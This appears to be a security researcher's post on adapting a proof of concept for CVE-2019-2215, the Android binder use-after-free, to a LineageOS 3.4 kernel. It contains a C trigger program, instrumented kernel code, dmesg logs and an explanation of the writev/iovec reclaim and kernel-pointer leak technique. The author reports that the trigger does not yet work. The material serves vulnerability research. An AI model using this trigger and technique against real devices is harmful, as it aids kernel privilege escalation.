Share
# CVE-2019-2215  
  
Source:  
  
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942  
  
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885  
  
  
Samsung S7 and S7 Edge with Kernel 3.18.x seem not vulnerable (could be however, with more work with PoC adjustments). Could not see more, since don't have rooted devices.  
  
Samsung S3Neo+ with LineageOS Kernel 3.4.0 possibly vulnerable (still in progress)  
  
```  
  
Kernel 3.4.0  
  
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/  
  
No KASLR  
  
No need to leak Kernel Struct Addresses.  
  
binder_thread size:0xfc (252)   
  
wait queue offset:0x2c (44)  
  
  
Had to add at least 2 entries for it to trigger, with 1, it didn't trigger  
  
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533  
  
PoC:  
  
  
#include <fcntl.h>  
#include <sys/epoll.h>  
#include <sys/ioctl.h>  
#include <unistd.h>  
#include <stdio.h>  
  
  
#define BINDER_THREAD_EXIT 0x40046208ul  
#define BINDER_VERSION 0xc0046209ul  
  
int main()  
{  
int fd,fd1,fd2, epfd,epfd1;  
struct epoll_event event = { .events = EPOLLOUT };  
  
fd = open("/dev/binder", O_RDONLY);  
fd1 = open("/dev/random", O_RDONLY);  
epfd = epoll_create(1000);  
epfd1 = epoll_create(1000);  
  
  
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");  
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");  
  
  
  
  
//ioctl(fd, BINDER_VERSION, NULL);  
  
ioctl(fd, BINDER_THREAD_EXIT, NULL);  
printf("Finished here.");  
}  
  
  
Modified binder.c and evenpoll.c in the Kernel to see what is happening  
  
binder.c  
  
static int binder_free_thread(struct binder_proc *proc,  
struct binder_thread *thread)  
{  
struct binder_transaction *t;  
struct binder_transaction *send_reply = NULL;  
int active_transactions = 0;  
static const size_t memberOffset = offsetof(binder_thread, wait);  
wait_queue_head_t *wqhptr = &thread->wait;  
wait_queue_head_t *pwqhptr = &proc->wait;  
struct list_head *n1,*p1;  
  
wait_queue_t *my2;  
  
  
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));  
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);  
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);  
list_for_each_safe(p1,n1, &pwqhptr->task_list){  
my2 = list_entry(p1, wait_queue_t, task_list);  
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);  
}  
list_for_each_safe(p1,n1, &wqhptr->task_list){  
my2 = list_entry(p1, wait_queue_t, task_list);  
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);  
}  
  
eventpoll.c  
  
static void ep_remove_wait_queue(struct eppoll_entry *pwq)  
{  
wait_queue_head_t *whead;  
wait_queue_t *strptr;  
struct list_head *n1,*p1;  
  
wait_queue_t *my2;  
  
  
rcu_read_lock();  
/* If it is cleared by POLLFREE, it should be rcu-safe */  
whead = rcu_dereference(pwq->whead);  
printk(KERN_INFO "whead before");  
  
if (whead)  
{  
strptr=&pwq->wait;  
  
  
list_for_each_safe(p1,n1, &pwq->whead->task_list){  
my2 = list_entry(p1, wait_queue_t, task_list);  
  
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);  
}  
  
  
remove_wait_queue(whead, &pwq->wait);  
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);  
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);  
  
I see the list is printed.....but during Android Bootup not my PoC:  
  
During Android start  
  
[ 84.747753] binder_ioctl: 1878:2371 40046208 0  
[ 84.747765] iovec str size:8  
[ 84.747771] thread->task_list:e4fb2e30  
[ 84.747777] proc->task_list:e57d866c  
[ 84.747784] p list= e57d866c e7fffe7c  
[ 84.747790] p list= e656de7c e57d866c  
[ 84.747797] binder_free_thread size:252 worker_off:44  
[ 84.747804] freed thread:e4fb2e00  
  
I see proc->task_list ...   
  
PoC:  
  
[ 642.254192] wq queue:e7ce8798  
[ 642.254201] epoll struct:e7ce8780  
[ 642.254214] wq queue:e7ce8f98  
[ 642.254220] epoll struct:e7ce8f80  
[ 642.254230] wq queue:e7ce8718  
[ 642.254236] epoll struct:e7ce8700  
[ 642.254266] binder_ioctl: 7392:7392 40046208 0  
[ 642.254274] iovec str size:8  
[ 642.254280] thread->task_list:e5389b30  
[ 642.254286] proc->task_list:c309d86c  
[ 642.254292] binder_free_thread size:252 worker_off:44  
[ 642.254299] freed thread:e5389b00  
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480  
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80  
[ 642.254799] ep_unregister_pollwait list not empty  
[ 642.254805] whead before  
[ 642.254811] my2= c0f50cc4 c0f50cc4  
[ 642.254817] remove wait queue:e734b994  
[ 642.254823] remove wait queue task list:e734b9a0  
[ 642.254830] ep_unregister_pollwait list not empty  
[ 642.254835] whead before  
[ 642.254841] my2= c0f50cd0 c0f50cd0  
[ 642.254847] remove wait queue:e734bb24  
[ 642.254852] remove wait queue task list:e734bb30  
[ 642.254863] ep_free  
[ 642.254873] ep_free  
[ 642.254881] ep_free  
  
However bug is not triggered in my PoC. I cannot see doubly list entiries under thread and proc :/  
  
  
Here is where the use after free bug should come in.  
  
Code:  
  
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);  
  
When this is called, the binder_thread structure is freed in the kernel.  
  
Immediately after the parent process calls:  
  
Code:  
  
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);  
  
In the kernel, memory is allocated to copy over iovec_array from userspace. This poc depends on the pointer from this allocation, to be the same as the recently freed binder_thread memory.  
  
Then, when the child process exits, the EPOLL cleanup will use the waitqueue in the binder_thread structure, that has been overwritten with the values in iovec_array. When EPOLL cleanup unlinks the waitqueue, 0xDEADBEEF will get overwritten by a pointer in kernelspace. This has to happen just before the writev call in the parent process starts to copy over the second buffer, which gets us a kernel space memory leak.  
  
If writev is returning 0x1000 it means the timing is off, the wait queue offset is off, the kmalloc allocation in the writev function isn't the same as the freed binder_thread, or your kernel isn't vulnerable.   
  
```  
  
## Update 1  
  
```  
I narrowed it down ... so I want to replicate behavior of com.cyanogenmod.lockclock  
  
It behaves like I want it to see:  
  
s3ve3g:/ # ps | grep 2140   
u0_a50 2140 257 845744 36336 sys_epoll_ b4ed9114 S com.cyanogenmod.lockclock  
  
Source:  
  
https://github.com/LineageOS/android_packages_apps_LockClock  
  
[ 53.617686] binder_ioctl: 2140:2401 40046208 0  
[ 53.617697] iovec str size:8  
[ 53.617704] thread->task_list:e5b2c030  
[ 53.617710] proc->task_list:e609206c  
[ 53.617716] p list= e609206c e50c3e7c  
[ 53.617722] p list= e50c5e7c e609206c  
[ 53.617729] binder_free_thread size:252 worker_off:44  
[ 53.617736] freed thread:e5b2c000  
[ 53.617755] ep_unregister_pollwait struct:e5f5c680 epi struct:e5f4c280  
[ 53.617762] ep_unregister_pollwait list not empty  
[ 53.617768] whead before  
[ 53.617773] my2= e8b10308 e8b10308  
[ 53.617779] remove wait queue:e5fd755c  
[ 53.617785] remove wait queue task list:e5fd7568  
[ 53.617803] ep_free  
  
I think Binder is used here:  
  
https://github.com/LineageOS/android_packages_apps_LockClock/blob/5239d22272aa2b7a2bcf2c45482395da3e163289/src/org/lineageos/lockclock/DeviceStatusService.java  
  
Any idea how to replicate this using C (native) code?  
  
  
```